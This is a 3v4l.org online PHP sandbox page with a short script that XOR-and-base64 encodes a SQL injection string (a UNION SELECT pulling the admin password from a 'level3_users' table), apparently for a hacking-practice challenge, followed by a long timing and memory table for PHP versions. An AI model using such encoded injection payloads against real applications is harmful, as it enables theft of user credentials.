3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4,5,6,password from level3_users where level3_users.username='admin' #")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.00718.31
8.3.50.0070.01022.05
8.3.40.0140.00018.84
8.3.30.0070.00720.18
8.3.20.0050.00320.21
8.3.10.0100.00321.89
8.3.00.0080.00022.46
8.2.180.0080.00816.75
8.2.170.0070.00722.96
8.2.160.0030.01022.25
8.2.150.0030.00524.18
8.2.140.0050.00324.66
8.2.130.0030.01026.16
8.2.120.0040.00419.89
8.2.110.0030.00620.49
8.2.100.0080.00317.88
8.2.90.0000.00819.19
8.2.80.0040.00419.26
8.2.70.0040.00417.63
8.2.60.0030.00618.03
8.2.50.0060.00618.07
8.2.40.0000.00918.34
8.2.30.0000.01118.03
8.2.20.0000.00717.62
8.2.10.0030.00517.84
8.2.00.0070.00317.84
8.1.280.0070.01025.92
8.1.270.0040.00424.66
8.1.260.0030.00526.35
8.1.250.0040.00428.09
8.1.240.0030.00623.88
8.1.230.0110.00019.01
8.1.220.0050.00317.74
8.1.210.0030.00718.77
8.1.200.0040.00417.36
8.1.190.0080.00017.54
8.1.180.0030.00619.01
8.1.170.0050.00318.44
8.1.160.0030.00520.84
8.1.150.0040.00418.59
8.1.140.0050.00217.42
8.1.130.0030.00317.93
8.1.120.0040.00417.31
8.1.110.0030.00517.41
8.1.100.0000.00717.47
8.1.90.0040.00417.36
8.1.80.0000.00717.44
8.1.70.0000.00817.42
8.1.60.0040.00417.50
8.1.50.0000.00817.49
8.1.40.0040.00417.57
8.1.30.0000.00817.66
8.1.20.0050.00317.52
8.1.10.0060.00317.43
8.1.00.0050.00517.44
8.0.300.0070.00018.77
8.0.290.0080.00017.18
8.0.280.0000.00718.54
8.0.270.0000.00717.25
8.0.260.0000.00616.73
8.0.250.0000.00716.96
8.0.240.0040.00416.96
8.0.230.0030.00316.95
8.0.220.0060.00316.95
8.0.210.0030.00316.82
8.0.200.0040.00417.01
8.0.190.0060.00616.96
8.0.180.0070.00016.96
8.0.170.0000.00817.00
8.0.160.0000.00716.81
8.0.150.0050.00216.83
8.0.140.0050.00216.87
8.0.130.0060.00013.35
8.0.120.0000.00716.91
8.0.110.0070.00016.93
8.0.100.0000.00716.81
8.0.90.0040.00417.00
8.0.80.0080.00816.94
8.0.70.0050.00316.96
8.0.60.0000.00716.93
8.0.50.0000.00716.89
8.0.30.0100.00917.21
8.0.20.0140.00417.42
8.0.10.0000.00817.00
8.0.00.0100.01516.85
7.4.330.0050.00015.00
7.4.320.0000.00616.56
7.4.300.0060.00016.64
7.4.290.0030.00316.68
7.4.280.0040.00416.54
7.4.270.0040.00316.56
7.4.260.0030.00313.24
7.4.250.0040.00416.52
7.4.240.0060.00216.55
7.4.230.0030.00316.73
7.4.220.0070.01716.66
7.4.210.0040.01316.60
7.4.200.0050.00316.62
7.4.190.0000.00716.45
7.4.160.0090.00616.56
7.4.150.0140.00717.40
7.4.140.0100.01117.86
7.4.130.0120.00916.45
7.4.120.0100.00916.49
7.4.110.0060.01016.50
7.4.100.0100.01016.47
7.4.90.0080.01416.40
7.4.80.0090.00919.39
7.4.70.0130.00416.44
7.4.60.0090.01216.35
7.4.50.0000.00816.66
7.4.40.0110.00422.77
7.4.30.0120.00616.51
7.4.00.0070.00714.85
7.3.330.0060.00013.38
7.3.320.0000.00513.40
7.3.310.0030.00316.25
7.3.300.0030.00316.31
7.3.290.0030.01016.37
7.3.280.0100.00916.38
7.3.270.0090.00917.40
7.3.260.0100.00716.34
7.3.250.0120.00716.42
7.3.240.0090.00716.46
7.3.230.0070.01116.47
7.3.210.0100.00716.52
7.3.200.0130.00719.39
7.3.190.0070.01416.70
7.3.180.0090.00916.43
7.3.170.0130.00316.68
7.3.160.0060.01116.43
7.3.120.0000.01715.05
7.2.330.0150.00616.71
7.2.320.0090.01316.39
7.2.310.0060.01216.68
7.2.300.0030.01816.71
7.2.290.0040.01116.87
7.2.00.0000.00919.59
7.1.100.0110.00618.24
7.1.70.0000.00717.30
7.1.60.0060.00619.43
7.1.50.0120.00917.01
7.1.00.0030.07022.57
7.0.200.0000.00816.65
7.0.140.0070.07022.07
7.0.100.0100.06720.02
7.0.90.0030.06019.93
7.0.80.0070.07019.90
7.0.70.0130.06719.92
7.0.60.0070.03719.97
7.0.50.0100.08320.38
7.0.40.0100.08020.04
7.0.30.0000.04720.04
7.0.20.0030.04720.00
7.0.10.0130.07020.18
7.0.00.0070.04020.14
5.6.280.0100.06021.09
5.6.250.0000.08020.75
5.6.240.0070.07020.63
5.6.230.0030.07320.68
5.6.220.0030.04020.69
5.6.210.0100.03320.55
5.6.200.0130.07021.19
5.6.190.0000.07721.10
5.6.180.0030.06021.02
5.6.170.0100.07021.03
5.6.160.0030.07321.09
5.6.150.0030.04721.03
5.6.140.0000.08721.18
5.6.130.0070.08321.07
5.6.120.0130.08020.97
5.6.110.0170.08021.05
5.6.100.0030.05021.08
5.6.90.0070.06021.13
5.6.80.0100.03320.42
5.6.70.0000.04320.32
5.6.60.0000.04320.38
5.6.50.0100.04020.48
5.6.40.0030.03320.53
5.6.30.0030.04020.39
5.6.20.0030.03320.51
5.6.10.0000.03720.47
5.6.00.0030.03320.29
5.5.380.0070.04720.49
5.5.370.0100.06720.35
5.5.360.0100.04020.38
5.5.350.0070.08020.45
5.5.340.0030.04720.66
5.5.330.0130.07020.91
5.5.320.0070.03720.95
5.5.310.0070.06320.93
5.5.300.0070.07320.89
5.5.290.0070.06320.65
5.5.280.0070.04020.81
5.5.270.0170.07320.79
5.5.260.0070.07020.83
5.5.250.0000.04320.63
5.5.240.0070.03720.08
5.5.230.0100.03020.32
5.5.220.0030.03320.13
5.5.210.0100.03320.32
5.5.200.0070.03320.27
5.5.190.0070.05020.29
5.5.180.0000.03720.11
5.5.160.0000.03720.22
5.5.150.0100.03320.12
5.5.140.0000.04320.00
5.5.130.0030.04020.22
5.5.120.0030.03320.12
5.5.110.0070.03720.16
5.5.100.0030.04020.08
5.5.90.0000.03320.17
5.5.80.0000.04020.18
5.5.70.0030.03320.16
5.5.60.0030.04020.06
5.5.50.0000.03720.08
5.5.40.0070.03019.94
5.5.30.0000.04320.09
5.5.20.0030.05720.14
5.5.10.0070.05019.98
5.5.00.0000.08020.12
5.4.450.0130.08019.36
5.4.440.0070.06019.38
5.4.430.0070.06019.18
5.4.420.0130.07019.49
5.4.410.0030.07319.34
5.4.400.0030.04019.21
5.4.390.0100.03319.16
5.4.380.0070.03319.03
5.4.370.0000.03319.25
5.4.360.0030.03019.07
5.4.350.0100.03019.05
5.4.340.0030.03319.17
5.4.320.0030.03319.04
5.4.310.0000.04019.04
5.4.300.0030.03019.25
5.4.290.0000.04018.88
5.4.280.0000.03319.16
5.4.270.0000.04019.13
5.4.260.0000.04318.85
5.4.250.0070.02719.13
5.4.240.0000.04018.89
5.4.230.0030.03019.13
5.4.220.0000.03319.13
5.4.210.0100.03719.29
5.4.200.0000.03318.94
5.4.190.0100.03018.89
5.4.180.0100.05019.13
5.4.170.0030.07019.13
5.4.160.0000.04019.21
5.4.150.0100.03719.15
5.4.140.0030.06016.34
5.4.130.0100.06016.49
5.4.120.0100.06316.48
5.4.110.0000.06016.45
5.4.100.0130.07316.32
5.4.90.0070.03016.57
5.4.80.0030.07316.48
5.4.70.0030.07316.55
5.4.60.0070.07016.41
5.4.50.0030.07716.41
5.4.40.0070.05316.39
5.4.30.0100.06316.32
5.4.20.0070.05716.36
5.4.10.0070.05016.30
5.4.00.0030.06715.85
5.3.290.0000.04014.66
5.3.280.0030.03014.73
5.3.270.0030.05314.71
5.3.260.0030.07314.75
5.3.250.0070.06714.72
5.3.240.0030.03714.57
5.3.230.0070.03314.62
5.3.220.0130.02714.51
5.3.210.0030.07014.51
5.3.200.0030.06314.63
5.3.190.0130.06314.68
5.3.180.0030.08014.52
5.3.170.0030.07314.68
5.3.160.0100.05314.60
5.3.150.0070.07714.68
5.3.140.0000.05714.57
5.3.130.0100.06314.69
5.3.120.0000.04714.56
5.3.110.0030.03714.54
5.3.100.0030.03713.93
5.3.90.0000.04014.16
5.3.80.0000.03714.09
5.3.70.0000.07714.05
5.3.60.0030.07014.00
5.3.50.0100.02713.96
5.3.40.0030.04014.02
5.3.30.0030.05313.96
5.3.20.0030.07313.79
5.3.10.0030.07013.57
5.3.00.0030.06313.56
5.2.170.0100.06711.17
5.2.160.0030.05011.27
5.2.150.0070.02311.27
5.2.140.0070.05711.21
5.2.130.0070.05711.20
5.2.120.0000.06311.17
5.2.110.0030.05711.17
5.2.100.0070.02311.13
5.2.90.0070.05311.18
5.2.80.0030.05311.02
5.2.70.0170.04711.15
5.2.60.0100.05711.07
5.2.50.0130.05711.14
5.2.40.0030.03011.14
5.2.30.0070.04711.11
5.2.20.0030.06011.02
5.2.10.0000.04011.02
5.2.00.0000.03311.02
5.1.60.0070.02311.02
5.1.50.0070.05711.02
5.1.40.0030.05011.02
5.1.30.0070.04711.02
5.1.20.0100.02311.02
5.1.10.0130.04011.02
5.1.00.0130.04711.02
5.0.50.0000.04711.02
5.0.40.0000.02011.02
5.0.30.0030.05711.02
5.0.20.0030.03711.02
5.0.10.0000.03311.02
5.0.00.0000.06711.02
4.4.90.0000.03711.02
4.4.80.0030.03011.02
4.4.70.0000.03311.02
4.4.60.0000.02011.02
4.4.50.0030.03311.02
4.4.40.0000.05311.02
4.4.30.0000.03711.02
4.4.20.0000.02711.02
4.4.10.0000.03311.02
4.4.00.0000.04311.02
4.3.110.0030.03311.02
4.3.100.0070.02711.02
4.3.90.0000.03311.02
4.3.80.0030.05311.02
4.3.70.0030.03311.02
4.3.60.0000.02011.02
4.3.50.0000.03711.02
4.3.40.0000.03711.02
4.3.30.0030.03011.02
4.3.20.0100.00711.02
4.3.10.0000.03311.02
4.3.00.0000.03311.02

preferences:
41.73 ms | 400 KiB | 5 Q